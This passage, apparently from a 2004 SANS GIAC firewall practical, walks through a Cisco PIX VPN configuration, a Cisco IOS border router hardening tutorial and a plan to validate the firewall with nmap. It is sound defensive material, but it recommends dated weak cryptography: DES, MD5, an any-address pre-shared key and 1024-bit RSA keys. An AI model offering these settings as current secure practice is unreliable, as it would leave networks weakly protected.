isakmp enable outsideThis rule enables the ISAKMP protocol on the outside interface of the PIX, whichallows clients to connect to establish a VPN tunnel.

isakmp key ******** address 0.0.0.0 netmask 0.0.0.0 no-xauth no-config-modeEstablishes a pre-shared key to authenticate a VPN client with the PIX. It alsospecifies that the pre-shared key may be used with any IP address on the Internet,which is required because Sales personnel connect from unpredictable IPaddresses.

isakmp identity addressWhen two peers establish an IPSEC security association , each sends an ISAKMPidentity to a peer. This command instructs the PIX to send its IP address as itsidentity, which must also be configured on the VPN client.

isakmp policy 10 authentication pre-shareisakmp policy 10 encryption desisakmp policy 10 hash md5isakmp policy 10 group 2isakmp policy 10 lifetime 86400This set of rules establishes the ISAKMP policy that VPN clients will use to connect.The PIX is capable of enabling more than one ISAKMP policy. These rules establisha single policy with a priority value of 10. Additional policies can be set withadditional priorities. The policy rules dictate that authentication will occur via a pre-shared key, encryption will be accomplished via the Data Encryption Standard(DES44) encryption protocol, and the hash algorithm used will be Message Digest 5(MD545). The list of protocols further states that ISAKMP negotiation will use Diff ie-

Hellman46

Group 2 and a security association will last for the default lifetime of oneday. This allows a client to connect the same day and use the same securityassociation which speeds up IPSEC setup time for subsequent sessions.

Once the security association is established, the next set of rules establishes ESP asthe transform set and associates the established transform set with the ISAKMPpolicy.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





crypto ipsec transform-set giacset esp-des esp-md5-hmaccrypto dynamic-map dynmap 10 set transform-set giacsetcrypto map giacmap 10 ipsec-isakmp dynamic dynmapcrypto map giacmap interface outsideThis set of rules establishes a transform set called “giacset”, map it to theestablished ISAKMP policy, and apply it to the outside interface. The rules specify

ESP-DES as the encryption protocol and ESP-MD5-HMAC47 as the hash algorithm.These are actually the weakest levels of encryption supported by the PIX. However,they are consequently the most efficient. Also, all traffic traversing VPN connectionsare encrypted via SSL or SSH, which provides secondary encryption .

2.3.B Routing Parameters

Once a VPN user connects, the PIX assigns the VPN user a virtual internal add ress,and traffic is routed between the virtual internal address and the rest of the internalnetwork. This set of policy rules establishes addressing and routing once the VPNsession is established.

The first set of rules establishes pools of internal addresses to be assigned to theSysadmin and Sales personnel upon establishing a VPN connection.

ip local pool sysadmin 10.48.0.1-10.48.0.254ip local pool sales 10.48.1.1-10.48.1.254

The next rule is a special NAT command (nat “0”) that disregards NAT for VPNconnections, and applies a specialized access-list to VPN address pools:

nat (inside) 0 access-list vpn_nat_acl

Finally, a specific access-list (“vpn_nat_acl”) defines the traffic to be encrypted,which is all traffic between the VPN address pools and the rest of GIAC’s internalnetwork:

access-list vpn_nat_acl permit ip 10.0.0.0 255.0.0.0 10.48.0.0 255.255.255.0access-list vpn_nat_acl permit ip 10.0.0.0 255.0.0.0 10.48.1.0 255.255.255.0

2.3.C Authentication Parameters

The Cisco VPN framework supports VPN group configuration, which allows theSysadmin to specify VPN rules based upon group membership.

Due to the very small number of VPN clients (3 Sales personnel and the Sysadmin),the VPN group authentication can be used to establish authentica tion parameters foreach individual user by setting up one VPN group for each user. This simplifies VPNconfiguration and still allows activity from an individual VPN user to be logged andmonitored. In order to enable authentication, each VPN group is def ined with thefollowing set of rules:



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





vpngroup VPNSYSADMIN address-pool sysadminEstablishes the name of the VPN group (“VPNSYSADMIN”), and the address pool.The Sysadmin is the only member of this group, and will be assigned the ip addresspool “sysadmin” defined above. This address pool is configured in the firewall rules(Section 2.2.F) to allow SSH access to anywhere on the internal network.

vpngroup VPNSYSADMIN default-domain giac.comvpngroup VPNSYSADMIN idle-time 1800vpngroup VPNSYSADMIN password ********This set of rules established the domain name of VPN clients in the pool, and sets anidle timeout of 30 minutes for VPN sessions. Finally, the password for the VPN groupis shown as being set, but does not appear explicitly in the configuration file.

A VPN group is now established for each Sales employee each with his or her owngroup password. However, all Sales VPN groups are assigned to the “sales” addresspool, and are routed with the firewall rules defined in section 2.2.F.

vpngroup VPNSALES1 address-pool sales

vpngroup VPNSALES1 default-domain giac.comvpngroup VPNSALES1 idle-time 1800vpngroup VPNSALES1 password ********

vpngroup VPNSALES2 address-pool salesvpngroup VPNSALES2 default-domain giac.comvpngroup VPNSALES2 idle-time 1800vpngroup VPNSALES2 password ********

vpngroup VPNSALES3 address-pool salesvpngroup VPNSALES3 default-domain giac.comvpngroup VPNSALES3 idle-time 1800vpngroup VPNSALES3 password ********

2.4 Border Router Policy Tutorial

This section provides a tutorial for implementing the configuration policy for theBorder Router. The outcome of the tutorial is the Cisco IOS configuration detailed inSection 2.1 and found in Appendix A.

There are many methods for configuring Cisco routers, including the use of softwaretools provided by Cisco and third party vendors. Also, the philosophies behind routerconfiguration are almost as varied as the network engineers who configure them.

This tutorial groups configuration commands together by common objectives asoutlined in section 2.1.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The goals of this tutorial are to accomplish the following objectives:

1. Configure general router parameters2. Configure authentication and authorization3. Enable/disable needed and unneeded services4. Establish centralized logging for router activity

5. Establish access-lists6. Configure terminal access7. Enable routing8. Configure the router interfaces

2.4.A Tutorial Syntax

This tutorial provides instructions for interacting with the Cisco IOS CLI. As such, itcontains representations of the CLI inter face. This section defines conventions fordisplaying the CLI and for demonstrating command syntax.

Terminal session examples will be demonstrated in yellow text boxes with a black

border. Text provided by the router will be shown as standard text:

Router>

Text input by the user is shown as bold text. The return key is designated as <r>. Forexample, instructions to type “enable” in the terminal and press the return key wouldbe shown as:

Router>enable <r>

Finally, the tutorial provides the general command syntax for IOS commands used toconfigure the router. The following format for command syntax will be used:

• Mandatory commands input literally are in bold.• Commands input by the user representing a value (argument) are in italics.• Optional commands are enclosed in “[]” brackets.• Commands that must be selected and input from a list are defined by

“{}”brackets, and values are separated by the pipe “|” character.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





For example, in the command syntax:

line {aux|console|tty|vty} line-number [ending-line-number]

• The user must input “line”• The user must input one of the following: “aux”, “console”, “tty”, or “vty”.• The user must input a line-number. The text “line-number” in this an argument

represents an integer value (0, 1, 2, etc.)• The user may optionally put an ending-line-number.

Therefore, an example of a valid command using this syntax would be a:

Router (config)#line aux 0 <r>

If a command only has one or two input options (such as “yes” or “no”) with no

argument values or optional statements, then a simple example will be providedwithout a separate explanation of the syntax. For example, there is only one possibleinput value for the command “exit”:

Router (config)#exit <r>

2.4.B Connecting the Router to a Terminal Emulator

It is assumed for the purposes of this tutorial that the router has been acquired withthe correct IOS image [12.2.23(GR) IP PLUS IPSEC 3DES], which has been pre-

installed by the vendor. It is also assumed that configuration is performed from afresh IOS image, and the router administrator has successfully connected theconsole port of the router to a computer that has suitable terminal emulationsoftwarebc.

aWith minor exceptions, the format used by this tutorial for Cis co command syntax follows conventions used

by Cisco, which may be found at:

http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122t/122t15/srst21/srstpref.pdf b Instructions for unpacking a Cisco 2600 series router from the box, connecting the console port to a computer

and powering up the router may be found at:

http://www.cisco.com/univercd/cc/td/doc/product/access/acs_mod/cis2600/2600_qsg.pdf.c

Instructions for configuring “Windows HyperTerminal” terminal emu lation software to access the CLI of a

Cisco router may be found at: http://www -users.itlabs.umn.edu/classes/Fall -2003/inet4011/lab10-

Taking%20your%20first%20steps%20with%20a%20Cisco%20router.doc



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





After the router has booted and terminal emulation software has been configured,the default Cisco setup screen will appear:

--- System Configuration Dialog ---

Would you like to enter the initial configuration dialog?[yes/no]:

The initial configuration dialog is a menu-driven script. In this tutorial the router willbe configured manually. Therefore, the user would enter “no” and press return:

--- System Configuration Dialog ---

Would you like to enter the initial configuration dialog?[yes/no]:no <r>

The screen will then display the default router prompt.

Router>

From this point, Cisco IOS commands are input into the router to configure servicesand security.

2.4.C Cisco IOS Command References and Command Modes

There are a wide variety of free references for configuring the Cisco IOS available onthe Internet, many of which are specific to security. The following references wereused for providing the commands in this tutorial:

• The Cisco IOS Command Summary for IOS Release 12.2, available fromCisco’s web site48;

• The Cisco IOS Security Configuration Guide for IOS Release 12.2, alsoavailable from Cisco’s web site49;

• An excellent secure IOS template by Rob Thomas from Team Cymru,available on Team Cymru’s web site50;

• The National Security Agency Router Security Configuration Guide, availablefrom the web site for the Center for Internet Security51.

• The context-sensitive help system available within the Cisco IOS 52.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Cisco IOS commands are entered from a variety of “command modes” that dividethe CLI. In order to enter a particular command, the user must be in the correctcommand mode. When a user logs into the CLI, they are in user EXEC mode (alsocalled “user mode”), which contains a limited set of commands for obtaining generalconfiguration information and for setting up the CLI itself. User mode is designatedby a “>” character at the router prompt:

Router>

The next operational mode is privileged EXEC mode (also called “privileged mode”or “enable mode”), which allows a user to input privileged into the router. Privilegedmode may be entered by typing “enable” at the route router prompt, and entering apassword if prompted. The router designates privileged mode with a “#” character atthe router prompt:

Router>enable <r> Router#

Privileged mode can be escaped by typing “disable” at the router prompt, whichreturns the user to user mode:

Router#disable <r> Router>

From privileged mode, a user may enter global configuration mode, which allows theuser to input commands to configure global settings on the router. Globalconfiguration mode is accessed by entering “configure” followed by the source of theconfiguration information. The syntax is:

configure {memory|network|terminal|overwrite-network}

For this tutorial the router will be configured from the terminal:

Router#configure terminal <r> Router (config)#

The prompt changes to “(config)#” to let the user know he or she is now in globalconfiguration mode.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The user can exit global configuration mode to privileged mode by typing “exit” at therouter prompt:

Router (config)#exit <r> Router#

From global configuration mode, a user can access a wide variety of additionalconfiguration modes to configure specific router parameters such as interfaces oraccess-lists. Configuration modes used in this tutorial will be explained as necessarywhen they are used to configure the GIAC router. Explanations for all of the CiscoIOS command modes may be obtained from Cisco’s web site53.

2.4.D Configuration of General Parameters

This section describes how to configure general parameters for the Border Routerdescribed in section 2.1.A. Several of the parameters in Section 2.1.A aredetermined by the default behavior of the IOS. However, the following items must beconfigured by the administrator:

• Hostname• Domain name• Time zone

Before these configuration settings can be made, the administrator must enter globalconfiguration mode using the commands described in section 2.3.C:

Router>Router>enable <r> Router#configure terminal <r> Router (config)#

The hostname is entered using the syntax: hostname hostname

Router (config)#hostname border-rtr <r> border-rtr (config)#

Notice that once the hostname is set, the router prompt changes to reflect the newhostname.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The domain name is entered using the syntax: ip domain-name domain-name

border-rtr (config)#ip domain-name giac.com <r> border-rtr (config)#

The clock time is set with the syntax: clock timezone zone hours-offset

border-rtr (config)#clock timezone gmt 0 <r> border-rtr (config)#

In the command above, the “hours-offset” refers to the difference between the timezone and Universal Coordinated Time (UCT). The Border Router is standardized onGreenwich Mean Time, which is the same as UCT. Therefore the offset is “0”.

The remaining policy rules discussed in section 2.1.A are enabled by default in theIOS, and cannot be removed. There are no commands to enable these policy rules;only commands to customize them for a particular implementation.

There is one additional general parameter to configure that does not appear in thecomplete policy in Appendix A. In order for the Sysadmin to connect to the IOS viaSSH, cryptographic keys must be generated. These keys are generated using thefollowing command:

border-rtr (config)#crypto key generate rsa <r> Choose the size of the key modulus in the range of 360 to 2048for your General Purpose Keys. Choosing a key modulus greaterthan 512 may take a few minutes.

How many bits in the modulus [512]:1024 <r> border-rtr (config)#

After entering the command the administrator is prompted for a key length, which isset to 1024 bits on the GIAC router. Once the keys are generated SSH isautomatically enabled.

2.4.E Authentication/Authorization Parameters

The next set of commands configures the authentication and authorizationparameters for the router described in Section 2.1.B, all of which are configured fromglobal configuration mode.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The first command turns on advanced authentication:

border-rtr (config)#aaa new-model<r> border-rtr (config)#

The next step is to instruct the router to authenticate users f or login (user mode) witha local account list, and authenticate privileged mode use with an enable password.The general syntax to define an authentication method is:

aaa authentication mode {default|list-name } method1 [method 2…]

In this syntax the “list-name” and “method” fields give the administrator the option ofconfiguring more than one source for authenticating users. For the router login thedefault (and only) source of authentication will be the local database of users.The command entered is:

border-rtr (config)#aaa authentication login default local <r> border-rtr (config)#

Once either the Sysadmin or ISP employee has logged in, both will access privilegedmode with the “enable” password. This is configured by entering the followingcommand:

border-rtr (config)#aaa authentication enable default enable

<r> border-rtr (config)#

Now that the “enable password” is defined as the source of authenticating users toprivileged mode, the enable password must be set. One of two commands may beentered to set the enable password:

enable password password (or) enable secret password

If the “enable secret” command is used, the password will be shown in theconfiguration file as an MD5 hash. The “enable password” command stores the

password in the configuration file in clear text. Even if the “enable password” issubsequently encrypted in the configuration file with the “service password-encryption” command, the password encryption service would store the password inthe configuration file encrypted with the Cisco Type 7 algorithm54, which can beeasily broken by decryptors55. Therefore, the “secret” command will be used.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





border-rtr (config)#enable secret LongEnablePassword <r> border-rtr (config)#

Since the router has been instructed to use a local database of users to authenticatelogins, user names must be created for the Sysadmin and ISP support personnel.The command syntax to create users is:

username username password password

border-rtr (config)#username sysadmin password ALongRediculousPassword <r> border-rtr (config)#username ispsupport password AnotherLongPassword <r>

Finally, banners must be set that warn users against unauthorized access. Asdiscussed in section 2.1.B, banners will be placed at the console login, anddisplayed again after login as a message of the day (MOTD). The general syntax forsetting a banner is:

banner banner-type delimiter message delimiter

The “delimiter” is any character that does not appear in the message itself , andinstructs the router where the message begins and ends. The “banner-type” inGIAC’s situation refers to a “login” banner or “motd” banner. The login and MOTD

banners for the Border Router are based upon a generic sample banner from theU.S. Department of Justice56, and are entered with the following commands:

border-rtr (config)# banner login #This device is forauthorized users only. Use of this device constitutes consentto monitoring, retrieval, and disclosure of any informationstored or transmitted to or from this device for any purposeincluding criminal prosecution.# <r> border-rtr (config)# banner motd #This device is for authorized users only. Use of this device constitutes consent to monitoring, retrieval, and disclosure of any information

stored or transmitted to or from this device for any purposeincluding criminal prosecution.# <r> border-rtr (config)#

2.4.F Service Configuration

The next task is to turn services on or off as necessary for GIAC’s configuration, asdescribed in section 2.1.C. The syntax for turning services on within IOS is quite



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





simple; it is usually just entering the name of the service or typing “service” followedby the name of the service. The command to disable the service is simply to type“no” in front of the command to enable the service. Unnecessary services discussedin section 2.1.C may be turned off as follows:

border-rtr (config)#no service pad <r> border-rtr (config)#no service dhcp <r> border-rtr (config)#no call rsvp-sync<r> border-rtr (config)#no ip bootp server <r> border-rtr (config)#no ip domain-lookup <r> border-rtr (config)#no ip source-route <r> border-rtr (config)#no cdp run <r> border-rtr (config)#

The password-encryption service must be enabled:

border-rtr (config)#service password-encryption <r> border-rtr (config)#

The command to enable time stamping of the logs is slightly more complex. Thesyntax is:

service timestamps message-type datetime [msec][ localtime] [show-timezone]

Timestamps are now enabled on log messages and debugging messages:

border-rtr (config)#service timestamps log datetime msec <r> border-rtr (config)#service timestamps debug datetime msec <r> border-rtr (config)#

The remaining policy rules discussed in section 2.1.C are enabled by default in theIOS, and cannot be removed. There are no commands to en able these policy rules;only to customize them for a particular implementation.

2.4.G Logging Configuration

The next goal is to configure terminal access to the router as per section 2.1.D.To begin, logging is disabled at the console:

border-rtr (config)#no logging console <r> border-rtr (config)#



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The Logging level is set for the buffer using the syntax: logging buffered [buffer- size] logging-level

The logging sent to the central server is set with the syntax: logging trap logging- level .

border-rtr (config)#logging buffered warnings <r> border-rtr (config)#logging trap informational <r> border-rtr (config)#

The IP address of the logging server is established with the syntax: logging host logserver-address

The syslog facility level is set with the syntax: logging facility facility-id

The source interface from which logs are sent to the logging server is establishedwith the syntax: logging source-interface interface .

border-rtr (config)#logging host X.X.70.60 <r> border-rtr (config)#logging facility local5 <r> border-rtr (config)#logging source-interface FastEthernet0/1 <r> border-rtr (config)#

2.4.H Access-list (ACL) Configuration

The next configuration task is to define the access-lists that will be used to controlthe flow of traffic into each router interface. The Cisco IOS supports multiple access-list types for multiple protocols.

Since the router will only route IP traffic, only IP access-lists will be applied. Thereare two primary types of IP access-lists: “basic”, which allows filtering solely basedupon source or destination address, and “extended”, which allows filtering basedupon multiple parameters including IP protocol, source address(es) and port(s), anddestination address(es) and port(s). The Cisco IOS also supports identifying access-lists by name or by number. The GIAC Border Router will use named extended IP

access-lists for all interfaces. The use of named access-lists as opposed tonumbered lists adds clarity when reading configuration files and logs, and the use ofextended lists adds flexibility to access-list customization.

Extended, named IP access-lists are configured in the Cisco IOS from “ExtendedNamed Access List (NACL) configuration mode.” This mode may be entered fromglobal configuration mode with the following syntax: ip access-list extended list- name



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The first access-list that will be configured is the external access list. From globalconfiguration mode, NACL mode is entered with the following command:

border-rtr (config)#ip access-list extended external_facing <r>

border-rtr (config-ext-nacl)#

Note that the router prompt changes to “(config-ext-nacl)” to signify the IOS is now inNACL mode.

From this point, access-list rules must be entered in order of desired processing bythe router. The general syntax for an NACL rule is:

{permit|deny} protocol source-address source-wildcard-mask source-qualifiers destination-address destination-wildcard-mask destination-qualifiers [log|log-input]

Within the context of this syntax:

• Protocol = IP, TCP, UDP, etc. or the IP protocol number from 0 through 255• Source-address = the ip address of the source network or host• Source-wildcard-mask = the inverse subnet mask57 of the source network• Source-qualifiers = optional details of the source protocol, usually consisting

of port numbers or service names• Destination-address = the IP address of the destination network or host• Destination-wildcard-mask = the inverse subnet mask of the destination

network• Destination-qualifiers = optional details of the destination protocol, usually

consisting of port numbers or names• Log = causes a matching packet to send a message to the syslog• Log-input = causes a matching packet to send a message to the syslog that

includes the interface

Additional options also apply to NACL rules, which simplify entry:

• “host” with an IP address can substitute an individual IP address for thesource or destination address and wildcard-mask combination

• “any” can substitute all IP addresses for the source or destination address andwildcard-mask combination

•

Several IP protocols are supported by name rather than by port number

48

.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Using the syntax above, rules for the “external_facing” access-list may now beentered. The first rule denies packets that have no source address:

border-rtr (config-ext-nacl)#deny ip 0.0.0.0 0.0.0.0 any log <r>

border-rtr (config-ext-nacl)#

In the above rule, “0.0.0.0 0.0.0.0” represents no source address. The term “any”represents any destination address and the “log” argument logs matching packets tothe syslog.

The next rule denies traffic from the 1.0.0.0/8 address space, which is unassigned bythe IANA.

border-rtr (config-ext-nacl)#deny ip 1.0.0.0 0.255.255.255 anylog <r> border-rtr (config-ext-nacl)#

Using this format for rule entry, the remaining rules for the “external_facing” access-list provided in Appendix A may be entered.

border-rtr (config-ext-nacl)#deny ip 2.0.0.0 0.255.255.255 anylog <r> …

(See Appendix A for the complete list of rules.)…border-rtr (config-ext-nacl)#deny ip any any log <r> border-rtr (config-ext-nacl)#

Now that the “external_facing” access is complete, the “internal_facing” access -listmay be entered. Remaining in NACL configuration mode, a new access-list can begenerated by entering the “ip extended access-list” command again for the newaccess-list:

border-rtr (config-ext-nacl)#ip access-list extended internal_facing <r> border-rtr (config-ext-nacl)#



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The access-list rules for the “internal_facing” list may now be input in t he samemanner as before, using the rules defined in Appendix A:

border-rtr (config-ext-nacl)# permit tcp X.X.70.32 0.0.0.31 anylog <r>

…(See Appendix A for the complete list of rules.)…border-rtr (config-ext-nacl)#deny ip any any log <r> border-rtr (config-ext-nacl)#

Finally, the access-list for the vty interface is created, and NACL configuration modeis exited back to global configuration mode.

border-rtr (config-ext-nacl)#ip access-list extended vty_access <r> border-rtr (config-ext-nacl)# permit tcp host X.X.125.48 hostX.X.70.230 eq 22 log <r> border-rtr (config-ext-nacl)#deny ip any any log <r> border-rtr (config-ext-nacl)#exit <r> border-rtr (config)#

2.4.I Terminal Access Configuration

The next configuration task is to configure terminal access to the router IOS as per

Section 2.1.F. Access is normally provided to the IOS in one of four ways:

• Through a built-in web interface. This will be disabled.• Through an auxiliary (modem) port. This will be disabled• Through direct console access. this will be used by ISP personnel;• Through vty access. This will be used by the Sysadmin using SSH.

The built-in web interface is disabled through the “no” command, as described insection 2.3.F:

border-rtr (config)#no ip http server <r>

border-rtr (config)#

The auxiliary, console and vty ports are configured via “line configuration mode”,which is accessed from global configuration mode using the following syntax:

line {con|aux|vty|tty} line-number [ending-line-number]



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





All lines are represented by an integer value starting at 0. The first line configurationmode entered will be for the auxiliary port:

border-rtr (config)#line aux 0 <r> border-rtr (config-line)#

Note that the prompt has changed to “(config-line)” to denote that the CLI is now inline configuration mode. The auxiliary port is now disabled with the “no exec”command:

border-rtr (config-line)#no exec <r> border-rtr (config-line)#

The next line to configure for terminal access will be the console port. The consoleport can be accessed directly while the CLI is in line configuration port by specifyingthe new line:

border-rtr (config-line)#line con 0 <r> border-rtr (config-line)#

The only setting to be made for the console port is an idle timeout, which may be setwith the syntax: exec-timeout minutes [seconds] .

border-rtr (config-line)#exec-timeout 15 0 <r> border-rtr (config-line)#

The final terminal access line to be configured is the VTY line. The Cisco IOSdefines five VTY ports by default, numbered from 0 to 4. The first task is to enter lineconfiguration mode for the VTY ports, and to configure an idle timeout:

border-rtr (config-line)#line vty 0 4 <r> border-rtr (config-line)#exec-timeout 15 0 <r> border-rtr (config-line)#



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Primary Firewall’s external interface from the Border Router’s internal interface areestablished (refer to figure 1.5):

border-rtr (config)#ip route 207.108.70.48 255.255.255.248X.X.70.34 <r>

border-rtr (config)#ip route 207.108.70.56 255.255.255.248X.X.70.34 <r> border-rtr (config)#

A default route of 0.0.0.0/0.0.0.0 to the ISP’s Border Router is then established, androuting is enabled with the “ip routing” command.

border-rtr (config)#ip route 0.0.0.0 0.0.0.0 X.X.70.229 <r> border-rtr (config)#ip routing <r> border-rtr (config)#

2.4.K Interface Configuration

The final steps to complete the router configuration entail configuring each of the twointerfaces on the router to route traffic between GIAC’s internal network and theInternet via the ISP network.

Interfaces are configured from interface configuration mode, which can be enteredfrom global configuration mode by typing “interface”, followed by the name of theinterface. The first interface configured will be the fast Ethernet interface 0/0, which

will be attached to the ISP network:

border-rtr (config)#interface FastEthernet 0/0 <r> border-rtr (config-if)#

Note that the prompt has now changed to “(config-if)” to denote to the user that theIOS is in interface configuration mode. All commands entered from this point willapply to the interface FastEthernet 0/0. The first command to configure the interfacedescribes the purpose of the interface using the syntax: interface description.

border-rtr (config-if)#description External Interface toInternet <r> border-rtr (config-if)#



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The next command provides an ip address for the interface that also adds thenetwork belonging to the interface to the local routing table. The syntax to add the ipaddress to the interface is: ip address address subnet-mask

border-rtr (config-if)#ip address X.X.70.230 255.255.255.252

<r> border-rtr (config-if)#

The next command applies the appropriate access-list to the interface. The CiscoIOS allows one IP access-list on each interface each for both inbound traffic andoutbound traffic with the following syntax: ip access-group access-list-name {in|out}

The GIAC router uses one access-list on each interface applied to traffic inbound tothe router. The appropriate access-list is applied to the external interface with thecommand:

border-rtr (config-if)#ip access-group external_facing in <r> border-rtr (config-if)#

Next, unwanted ip services specific to each interface (described in section 2.1.H) areapplied with the “no” command:

border-rtr (config-if)#ip access-group external_facing in <r> border-rtr (config-if)#no ip redirects

border-rtr (config-if)#no ip unreachables border-rtr (config-if)#no ip directed-broadcast border-rtr (config-if)#no ip proxy-arp border-rtr (config-if)#no ip mask-replyborder-rtr (config-if)#

IP accounting is then enabled to log access-list violations to the central loggingserver:

border-rtr (config-if)# ip accounting access-violations <r>

border-rtr (config-if)#



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The speed and duplex-mode of the interface are then set with the following syntax:

speed {10|100} and duplex {half|full}

border-rtr (config-if)# speed 100 <r>

border-rtr (config-if)#duplex full <r> border-rtr (config-if)#

The final step to configure the interface is to turn it on:

border-rtr (config-if)# no shutdown <r> border-rtr (config-if)#

After the external interface is configured, interface configuration mode may beentered for the internal interface by typing:

border-rtr (config-if)# Interface FastEthernet 0/1 <r> border-rtr (config-if)#

The internal interface may now be configured using the parameters found inAppendix A. Upon completion of configuring the internal interface, the routerconfiguration is complete. Before saving the configuration, the router administratormust first exit back to privileged mode:

border-rtr (config-if)# exit <r> border-rtr (config)#disable <r> border-rtr#

The entire router configuration may now be displayed by entering the command“show-running-config”, which will display the full router configuration file shown inAppendix A.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The local routing table may also be displayed by entering the command “show iproute”:

border-rtr#show ip route <r> Codes: C - connected, S - static, I - IGRP, R - RIP, M -mobile, B - BGP

D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPFinter area

N1 - OSPF NSSA external type 1, N2 - OSPF NSSA externaltype 2

E1 - OSPF external type 1, E2 - OSPF external type 2, E- EGP

i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 -IS-IS level-2

ia - IS-IS inter area, * - candidate default, U - per-user static route

o - ODR, P - periodic downloaded static route

Gateway of last resort is X.X.70.229 to network 0.0.0.0

X.X.70.0/24 is variably subnetted, 4 subnets, 2 masksC X.X.70.228/30 is directly connected, FastEthernet0/0C X.X.70.32/30 is directly connected, FastEthernet0/1S X.X.70.48/29 [1/0] via X.X.70.34S X.X.70.56/29 [1/0] via X.X.70.34S* 0.0.0.0/0 [1/0] via X.X.70.229

border-rtr#

The router configuration is now saved with the command:

border-rtr# copy running-config startup-config <r> Destination filename [startup-config]? <r> Building configuration...[OK]border-rtr#

The router configuration may then be exited.

border-rtr# disable <r> border-rtr>exit

The configuration session is now disconnected.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ASSIGNMENT 3: Validation of the GIAC Firewall Policy

This section describes a procedure to validate that the GIAC Primary Firewallenforces the complete firewall policy as described in Section 2.2 and Appendix B ofthis document. As stated earlier, the security design of the GIAC network requires

the Primary Firewall to permit all necessary traffic defined in Table 2.2 and deny allother traffic.

3.1 Validation Planning

3.1.A General Considerations

The GIAC network design normally depends upon centralized logging of events fromall devices to analyze normal traffic patterns of GIAC’s network. This works very wellfor normal business traffic. The Sysadmin and users would notice very quickly ifdesired traffic defined in Table 2.2 was being blocked by the firewall, as normalbusiness functions would be impaired. However, sound security practices warrant

analyzing the behavior of the firewall with respect to traffic that is not required forbusiness, and is therefore blocked by the firewall. Traffic of this nature does notappear consistently enough during day-to-day network usage to provide a completeanalysis of the Primary Firewall by passive observation of system logs. Therefore,the Sysadmin runs a variety of validation tests on a periodic basis to assure properbehavior of the firewall.

As with all aspects of GIAC’s infrastructure, the Company prefers that validationtesting be performed with tools that require little or no software licensing, and can beperformed at a minimum cost both in terms of effort and disruption to normalbusiness activities. Since the Company network is extremely small and the types of

traffic allowed through the Primary Firewall are limited, a reasonably completefirewall assessment can be performed with minimal service disruption and cost.

3.1.B Technical Approach

The Sysadmin runs firewall validation tests quarterly by performing complete TCPand UDP port scans against the network from each network location that is definedby a specific firewall rule set. Since the network is very small, these scans requireminimal time and effort and can be easily automated.

The Sysadmin has chosen nmap58 as the scanning tool to perform validation tests.Nmap is a flexible, open-source scanning tool that is installed on many distributions

of Linux. It is simple to install and operate. Nmap provides the ability to script customTCP and UDP network scans, and provide straightforward output for analysis.

However, nmap by itself is not capable of providing complete results from avalidation test, as some of its modes of operation are prone to fictitious results due toassumptions it makes about traffic patterns it sees. Therefore, the scan results of theGIAC network will be correlated with syslogs gathered by the central logging server.The nmap results in conjunction with the system logs from the Primary Firewall willprovide a complete validation of desired firewall behavior.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The nmap scans will be performed by creating shell scripts that will be scheduled torun scans at appropriate times. The network will be monitored by the Sysadminduring the scans to assure that normal business traffic is not interrupted. The entirevalidation process will include five completea TCP and UDP scans as follows:

1. The GIAC public network space from a dial-up account used by the Sysadminto perform system testingb. The dial-up account represents traffic originatingfrom a random IP address on the Internet. This scan should demonstrateaccess to the Development and Production Portals via SSL, and access to thePrimary Firewall via IPSEC.

2. The entire GIAC public network space from the static IP address used by theSysadmin. Traffic from this address should allow SSL traffic to theAdministration Portal in addition to traffic allowed by the first scan.

3. The external service network, the internal service network and the Officenetwork from a VPN connection assigned to the sales VPN pool. Allowabletraffic from this scan should be restricted to SSL access to the AdministrationPortal.

4. The external service network, the internal service network and the Officenetwork from a VPN connection assigned to the sysadmin VPN pool.Allowable traffic from this scan should be restricted to SSH access to theentire network.

5. The external service network, internal service network, and a dummy host onthe Sysadmin’s home network that answers on all ports from a host on theOffice network. Traffic from the Office should be restricted to accessing thePortals via SSL, the Databases via PostgreSQL, the internal DNS server viaDNS, and the public Internet via FTP, HTTP, and SSL.

The cost of the validation is free in terms of tools used, and requires very little effort

